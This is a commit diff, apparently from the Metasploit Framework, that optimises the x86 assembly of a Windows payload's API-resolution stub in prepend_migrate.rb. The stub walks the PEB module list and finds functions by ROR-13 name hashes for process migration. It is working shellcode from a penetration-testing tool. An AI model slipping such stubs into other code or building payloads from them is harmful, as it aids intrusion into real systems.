Update block_api with @schierlm's changes

Author: HD Moore

lib/msf/core/payload/windows/prepend_migrate.rb

@@ -68,16 +68,15 @@ def prepend_migrate(buf)
     api_call:
       pushad                    ; We preserve all the registers for the caller, bar EAX and ECX.
       mov ebp, esp              ; Create a new stack frame
-      xor edx, edx              ; Zero EDX
-      mov edx, [fs:edx+48]      ; Get a pointer to the PEB
+      xor eax, eax              ; Zero EAX (upper 3 bytes will remain zero until function is found)
+      mov edx, [fs:eax+48]      ; Get a pointer to the PEB
       mov edx, [edx+12]         ; Get PEB->Ldr
       mov edx, [edx+20]         ; Get the first module from the InMemoryOrder module list
     next_mod:                   ;
       mov esi, [edx+40]         ; Get pointer to modules name (unicode string)
       movzx ecx, word [edx+38]  ; Set ECX to the length we want to check
       xor edi, edi              ; Clear EDI which will store the hash of the module name
     loop_modname:               ;
-      xor eax, eax              ; Clear EAX
       lodsb                     ; Read in the next byte of the name
       cmp al, 'a'               ; Some versions of Windows use lower case module names
       jl not_lowercase          ;
@@ -92,10 +91,10 @@ def prepend_migrate(buf)
       push edi                  ; Save the current module hash for later
       ; Proceed to iterate the export address table
       mov edx, [edx+16]         ; Get this modules base address
-      mov eax, [edx+60]         ; Get PE header
+      mov ecx, [edx+60]         ; Get PE header
 
       ; use ecx as our EAT pointer here so we can take advantage of jecxz.
-      mov ecx, [eax+edx+120]    ; Get the EAT from the PE header
+      mov ecx, [ecx+edx+120]    ; Get the EAT from the PE header
       jecxz get_next_mod1       ; If no EAT present, process the next module
       add ecx, edx              ; Add the modules base address
       push ecx                  ; Save the current modules EAT
@@ -113,7 +112,6 @@ def prepend_migrate(buf)
       xor edi, edi              ; Clear EDI which will store the hash of the function name
       ; And compare it to the one we want
     loop_funcname:              ;
-      xor eax, eax              ; Clear EAX
       lodsb                     ; Read in the next byte of the ASCII function name
       ror edi, 13               ; Rotate right our hash value
       add edi, eax              ; Add the next byte of the name
@@ -145,7 +143,7 @@ def prepend_migrate(buf)
       ; We now automagically return to the correct caller...
 
     get_next_mod:               ;
-      pop eax                   ; Pop off the current (now the previous) modules EAT
+      pop edi                   ; Pop off the current (now the previous) modules EAT
     get_next_mod1:              ;
       pop edi                   ; Pop off the current (now the previous) modules hash
       pop edx                   ; Restore our position in the module list